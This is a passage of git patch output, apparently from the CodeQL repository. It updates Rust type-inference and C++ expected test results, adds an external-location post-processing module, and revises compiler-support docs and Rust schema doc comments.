main.rs:1558:9:1558:34 | ... ^= ... | | file://:0:0:0:0 | () | -| main.rs:1558:30:1558:34 | 48i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:13:1560:30 | mut i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1560:34:1560:38 | 49i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1561:9:1561:22 | i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1558:30:1558:34 | 48i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:13:1560:30 | mut i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:34:1560:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1561:9:1561:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1561:28:1561:32 | 50i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:13:1563:30 | mut i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1563:34:1563:38 | 51i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1564:9:1564:22 | i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1561:28:1561:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:13:1563:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:34:1563:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:9:1564:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1564:28:1564:32 | 52i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:13:1566:19 | i64_neg | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:23:1566:28 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1566:24:1566:28 | 53i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:13:1567:19 | i64_not | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:23:1567:28 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1567:24:1567:28 | 54i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1564:28:1564:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:13:1566:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:28 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:24:1566:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:13:1567:19 | i64_not | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:28 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:24:1567:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | | main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i64 | | main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | | main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | | main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1574:13:1574:19 | vec2_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:13:1574:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | | main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1574:23:1574:30 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1574:23:1574:30 | ... == ... | | {EXTERNAL LOCATION} | bool | | main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:13:1575:19 | vec2_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1575:13:1575:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | | main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1575:23:1575:30 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1575:23:1575:30 | ... != ... | | {EXTERNAL LOCATION} | bool | | main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:13:1576:19 | vec2_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1576:13:1576:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | | main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1576:23:1576:29 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1576:23:1576:29 | ... < ... | | {EXTERNAL LOCATION} | bool | | main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:13:1577:19 | vec2_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1577:13:1577:19 | vec2_le | | {EXTERNAL LOCATION} | bool | | main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1577:23:1577:30 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1577:23:1577:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:13:1578:19 | vec2_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1578:13:1578:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | | main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1578:23:1578:29 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1578:23:1578:29 | ... > ... | | {EXTERNAL LOCATION} | bool | | main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | | main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:13:1579:19 | vec2_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1579:13:1579:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | | main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1579:23:1579:30 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1579:23:1579:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | | main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | @@ -2333,11 +2332,11 @@ inferType | main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1608:30:1608:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1608:30:1608:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1609:30:1609:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1609:30:1609:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | @@ -2363,12 +2362,12 @@ inferType | main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1622:29:1622:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1622:29:1622:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1625:29:1625:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1625:29:1625:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | | main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | @@ -2379,3 +2378,4 @@ inferType | main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +testFailures diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index cea5839c6ad9..e7c11bcaebf1 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -3,22 +3,7 @@ import utils.test.InlineExpectationsTest import codeql.rust.internal.TypeInference as TypeInference import TypeInference -final private class TypeFinal = Type; - -class TypeLoc extends TypeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - -query predicate inferType(AstNode n, TypePath path, TypeLoc t) { +query predicate inferType(AstNode n, TypePath path, Type t) { t = TypeInference::inferType(n, path) and n.fromSource() and not n.isFromMacroExpansion() diff --git a/rust/ql/test/library-tests/type-inference/type-inference.qlref b/rust/ql/test/library-tests/type-inference/type-inference.qlref new file mode 100644 index 000000000000..03d8a9288aab --- /dev/null +++ b/rust/ql/test/library-tests/type-inference/type-inference.qlref @@ -0,0 +1,2 @@ +query: type-inference.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll new file mode 100644 index 000000000000..2ebd2b452828 --- /dev/null +++ b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll @@ -0,0 +1,30 @@ +/** + * Provides logic for creating a `@kind test-postprocess` query that converts + * external locations to a special `{EXTERNAL LOCATION}` string. + * + * This is useful for writing tests that use real locations when executed in + * VS Code, but prevents the "Location is outside of test directory" warning + * when executed through `codeql test run`. + */ +module; + +external private predicate queryResults(string relation, int row, int column, string data); + +external private predicate queryRelations(string relation); + +private signature string getSourceLocationPrefixSig(); + +module Make { + query predicate results(string relation, int row, int column, string data) { + exists(string s | queryResults(relation, row, column, s) | + if + not s = "file://" + any(string suffix) or + s = "file://:0:0:0:0" or + s = getSourceLocationPrefix() + any(string suffix) + then data = s + else data = "{EXTERNAL LOCATION}" + ) + } + + query predicate resultRelations(string relation) { queryRelations(relation) } +} diff --git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index 56ac6ea32279..fbbad8f25b78 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -627,11 +627,11 @@ private string mainResultSet() { result = ["#select", "problems"] } * to be matched. */ module TestPostProcessing { - external predicate queryResults(string relation, int row, int column, string data); + external private predicate queryResults(string relation, int row, int column, string data); - external predicate queryRelations(string relation); + external private predicate queryRelations(string relation); - external predicate queryMetadata(string key, string value); + external private predicate queryMetadata(string key, string value); private string getQueryId() { queryMetadata("id", result) } From 0e34ee18dfb450be9ae009bd5c85c7a4252351e4 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 4 Mar 2025 16:22:49 +0100 Subject: [PATCH 520/535] C++: Update expected test results after frontend update --- cpp/ql/test/examples/expressions/PrintAST.expected | 2 +- cpp/ql/test/library-tests/funcdname/funcdname.expected | 2 +- cpp/ql/test/library-tests/funcdname/funcdname.ql | 6 +++++- cpp/ql/test/library-tests/ir/ir/PrintAST.expected | 10 +++++----- cpp/ql/test/library-tests/ir/ir/aliased_ir.expected | 6 +++--- cpp/ql/test/library-tests/ir/ir/raw_ir.expected | 4 ++-- .../ir/range-analysis/SimpleRangeAnalysis_tests.cpp | 4 ++-- .../nontype_instantiations/general/test.expected | 8 ++++---- 8 files changed, 23 insertions(+), 19 deletions(-) diff --git a/cpp/ql/test/examples/expressions/PrintAST.expected b/cpp/ql/test/examples/expressions/PrintAST.expected index 724b109db489..2167ca3f4e5e 100644 --- a/cpp/ql/test/examples/expressions/PrintAST.expected +++ b/cpp/ql/test/examples/expressions/PrintAST.expected @@ -324,7 +324,7 @@ Conversion3.cpp: # 2| getExpr(): [CStyleCast] (int)... # 2| Conversion = [IntegralConversion] integral conversion # 2| Type = [IntType] int -# 2| Value = [CStyleCast] 1 +# 2| Value = [CStyleCast] 5 # 2| ValueCategory = prvalue # 2| getRightOperand().getFullyConverted(): [ParenthesisExpr] (...) # 2| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.expected b/cpp/ql/test/library-tests/funcdname/funcdname.expected index 7564b54bff1e..670b77b8a6b0 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.expected +++ b/cpp/ql/test/library-tests/funcdname/funcdname.expected @@ -1,2 +1,2 @@ | Bar::(unnamed namespace)::B | Bar::::B | -| Foo::(unnamed namespace)::A | _ZN3Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | +| Foo::(unnamed namespace)::A | _ZN35_INTERNAL_13_funcdname_cpp_?Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.ql b/cpp/ql/test/library-tests/funcdname/funcdname.ql index 08026d75e597..f3f34005ff64 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.ql +++ b/cpp/ql/test/library-tests/funcdname/funcdname.ql @@ -2,4 +2,8 @@ import cpp from Function f, ReturnStmt r where r.getEnclosingFunction() = f -select f.getQualifiedName(), r.getExpr().getValue().regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") +select f.getQualifiedName(), + r.getExpr() + .getValue() + .regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") + .regexpReplaceAll("cpp_[0-9a-f]+Foo37_", "cpp_?Foo37_") diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 8d36ea7f9529..0b825a0a855b 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -23814,11 +23814,11 @@ ir.cpp: # 2692| Conversion = [IntegralConversion] integral conversion # 2692| Type = [LongType] unsigned long # 2692| ValueCategory = prvalue -#-----| getExpr().getFullyConverted(): [CStyleCast] (int)... -#-----| Conversion = [IntegralConversion] integral conversion -#-----| Type = [IntType] int -#-----| Value = [CStyleCast] 1 -#-----| ValueCategory = prvalue +# 2692| getExpr().getFullyConverted(): [CStyleCast] (int)... +# 2692| Conversion = [IntegralConversion] integral conversion +# 2692| Type = [IntType] int +# 2692| Value = [CStyleCast] 1 +# 2692| ValueCategory = prvalue # 2693| getStmt(1): [ReturnStmt] return ... # 2693| getExpr(): [VariableAccess] y # 2693| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index b95e1b231d8b..20d593e2379a 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -19457,11 +19457,11 @@ ir.cpp: # 2691| m2691_3(unknown) = InitializeNonLocal : # 2691| m2691_4(unknown) = Chi : total:m2691_2, partial:m2691_3 # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| m0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| m2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : -# 2693| r2693_3(int) = Load[y] : &:r2693_2, m0_2 +# 2693| r2693_3(int) = Load[y] : &:r2693_2, m2692_3 # 2693| m2693_4(int) = Store[#return] : &:r2693_1, r2693_3 # 2691| r2691_5(glval) = VariableAddress[#return] : # 2691| v2691_6(void) = ReturnValue : &:r2691_5, m2693_4 diff --git a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected index cf8d638e4952..11d74a2a26bd 100644 --- a/cpp/ql/test/library-tests/ir/ir/raw_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/raw_ir.expected @@ -17775,8 +17775,8 @@ ir.cpp: # 2691| mu2691_2(unknown) = AliasedDefinition : # 2691| mu2691_3(unknown) = InitializeNonLocal : # 2692| r2692_1(glval) = VariableAddress[y] : -#-----| r0_1(int) = Constant[1] : -#-----| mu0_2(int) = Store[y] : &:r2692_1, r0_1 +# 2692| r2692_2(int) = Constant[1] : +# 2692| mu2692_3(int) = Store[y] : &:r2692_1, r2692_2 # 2693| r2693_1(glval) = VariableAddress[#return] : # 2693| r2693_2(glval) = VariableAddress[y] : # 2693| r2693_3(int) = Load[y] : &:r2693_2, ~m? diff --git a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp index 7b359a046d81..649d99a7575c 100644 --- a/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp +++ b/cpp/ql/test/library-tests/ir/range-analysis/SimpleRangeAnalysis_tests.cpp @@ -1011,10 +1011,10 @@ void test_overflow() { range(x); // $ range===2147483647 const int y = 256; range(y); // $ range===256 - if ((x + y) <= 512) { + if ((x + y) <= 512) { // $ overflow=+ range(x); // $ range===2147483647 range(y); // $ range===256 - range(x + y); // $ range===-2147483393 + range(x + y); // $ range=<=2147483903 overflow=+ } } diff --git a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected index c4b76a9d2fc1..47aa18f9a5b8 100644 --- a/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected +++ b/cpp/ql/test/library-tests/templates/nontype_instantiations/general/test.expected @@ -1,13 +1,13 @@ -| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:5:25:5:25 | 1 | 1 | -| test.cpp:3:8:3:8 | C<2> | 0 | int | file://:0:0:0:0 | 2 | 2 | +| test.cpp:3:8:3:8 | C<1> | 0 | int | test.cpp:6:3:6:6 | one1 | 1 | +| test.cpp:3:8:3:8 | C<2> | 0 | int | test.cpp:7:3:7:13 | ... + ... | 2 | | test.cpp:3:8:3:8 | C | 0 | int | file://:0:0:0:0 | x | x | | test.cpp:10:8:10:8 | D | 0 | | test.cpp:9:19:9:19 | T | | | test.cpp:10:8:10:8 | D | 1 | T | file://:0:0:0:0 | X | X | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | int | | | test.cpp:10:8:10:8 | D | 1 | int | test.cpp:12:8:12:8 | 2 | 2 | | test.cpp:10:8:10:8 | D | 0 | | file://:0:0:0:0 | long | | -| test.cpp:10:8:10:8 | D | 1 | long | file://:0:0:0:0 | 2 | 2 | +| test.cpp:10:8:10:8 | D | 1 | long | test.cpp:13:9:13:9 | 2 | 2 | | test.cpp:16:8:16:8 | E | 0 | | test.cpp:15:19:15:19 | T | | | test.cpp:16:8:16:8 | E | 1 | T * | file://:0:0:0:0 | X | X | | test.cpp:16:8:16:8 | E | 0 | | file://:0:0:0:0 | int | | -| test.cpp:16:8:16:8 | E | 1 | int * | file://:0:0:0:0 | 0 | 0 | +| test.cpp:16:8:16:8 | E | 1 | int * | test.cpp:18:8:18:14 | 0 | 0 | From 129f259f1a5ad7ad5d88e2037a82ce387acb1ec7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Thu, 6 Mar 2025 14:05:44 +0100 Subject: [PATCH 521/535] C++: Update supported compiler versions after frontend update --- docs/codeql/reusables/supported-versions-compilers.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/reusables/supported-versions-compilers.rst b/docs/codeql/reusables/supported-versions-compilers.rst index 8970f31308e9..e85bc5d70f24 100644 --- a/docs/codeql/reusables/supported-versions-compilers.rst +++ b/docs/codeql/reusables/supported-versions-compilers.rst @@ -4,9 +4,9 @@ :stub-columns: 1 Language,Variants,Compilers,Extensions - C/C++,"C89, C99, C11, C17, C23, C++98, C++03, C++11, C++14, C++17, C++20, C++23 [1]_ [2]_ [3]_","Clang (including clang-cl [4]_ and armclang) extensions (up to Clang 17.0), + C/C++,"C89, C99, C11, C17, C23, C++98, C++03, C++11, C++14, C++17, C++20, C++23 [1]_ [2]_ [3]_","Clang (including clang-cl [4]_ and armclang) extensions (up to Clang 19.1.0), - GNU extensions (up to GCC 13.2), + GNU extensions (up to GCC 15.0), Microsoft extensions (up to VS 2022), From 7a13c981b835da57b59db63447440f4b78fad685 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:01:13 +0200 Subject: [PATCH 522/535] Rust: address comments --- rust/schema/annotations.py | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 98245cd24a42..c6ab581d7cae 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -1142,7 +1142,7 @@ class _: @annotate(ForTypeRepr) class _: """ - A higher-ranked trait bound(HRTB) type. + A higher-ranked trait bound. For example: ```rust @@ -1354,7 +1354,6 @@ class _: For example: ```rust println!("Hello, world!"); - //^^^^^^^ ``` """ macro_call_expansion: optional[AstNode] | child | rust.detach @@ -1495,7 +1494,7 @@ class _: For example: ```rust - foo(); + foo(); //^^^ ``` """ @@ -1549,7 +1548,6 @@ class _: For example: ```rust (x + y) - //^^^^^ ``` """ @@ -1830,7 +1828,7 @@ class _: A Struct. For example: ```rust struct Point { - x: i32, + x: i32, y: i32, } ``` @@ -1848,9 +1846,9 @@ class _: println!("{} {}!", "Hello", "world"); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` - ``` + ```rust macro_rules! foo { ($x:expr) => { $x + 1 }; } - // ^^^^^^^^^^^^^^^^^^^^^^^ + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -2028,7 +2026,7 @@ class _: @annotate(UseTree) class _: """ - A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: + A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -2046,7 +2044,7 @@ class _: For example: ```rust use std::{fs, io}; - // ^^^^^^^ + // ^^^^^^^^ ``` """ @@ -2084,7 +2082,7 @@ class _: For example: ```rust - pub struct S; + pub struct S; //^^^ ``` """ From e87878298e3b93f27f4066f92a0074cae51178a2 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 4 Jun 2025 11:12:48 +0200 Subject: [PATCH 523/535] Rust: run codegen --- rust/ql/.generated.list | 48 +++++++++---------- .../internal/generated/CfgNodes.qll | 1 - .../lib/codeql/rust/elements/ForTypeRepr.qll | 2 +- .../ql/lib/codeql/rust/elements/MacroCall.qll | 1 - rust/ql/lib/codeql/rust/elements/NameRef.qll | 2 +- .../ql/lib/codeql/rust/elements/ParenExpr.qll | 1 - rust/ql/lib/codeql/rust/elements/Struct.qll | 2 +- .../ql/lib/codeql/rust/elements/TokenTree.qll | 4 +- rust/ql/lib/codeql/rust/elements/UseTree.qll | 2 +- .../lib/codeql/rust/elements/UseTreeList.qll | 2 +- .../lib/codeql/rust/elements/Visibility.qll | 2 +- .../elements/internal/ForTypeReprImpl.qll | 2 +- .../rust/elements/internal/MacroCallImpl.qll | 1 - .../rust/elements/internal/NameRefImpl.qll | 2 +- .../rust/elements/internal/ParenExprImpl.qll | 1 - .../rust/elements/internal/StructImpl.qll | 2 +- .../rust/elements/internal/TokenTreeImpl.qll | 4 +- .../rust/elements/internal/UseTreeImpl.qll | 2 +- .../elements/internal/UseTreeListImpl.qll | 2 +- .../rust/elements/internal/VisibilityImpl.qll | 2 +- .../internal/generated/ForTypeRepr.qll | 2 +- .../elements/internal/generated/MacroCall.qll | 1 - .../elements/internal/generated/NameRef.qll | 2 +- .../elements/internal/generated/ParenExpr.qll | 1 - .../rust/elements/internal/generated/Raw.qll | 18 ++++--- .../elements/internal/generated/Struct.qll | 2 +- .../elements/internal/generated/TokenTree.qll | 4 +- .../elements/internal/generated/UseTree.qll | 2 +- .../internal/generated/UseTreeList.qll | 2 +- .../internal/generated/Visibility.qll | 2 +- .../generated/.generated_tests.list | 18 +++---- .../ForTypeRepr/gen_for_type_repr.rs | 2 +- .../generated/MacroCall/gen_macro_call.rs | 1 - .../generated/NameRef/gen_name_ref.rs | 2 +- .../generated/ParenExpr/gen_paren_expr.rs | 1 - .../generated/Struct/gen_struct.rs | 2 +- .../generated/TokenTree/gen_token_tree.rs | 2 +- .../generated/UseTree/gen_use_tree.rs | 2 +- .../UseTreeList/gen_use_tree_list.rs | 2 +- .../generated/Visibility/gen_visibility.rs | 2 +- 40 files changed, 72 insertions(+), 83 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 73404b396b2b..eb60dccb3e6a 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 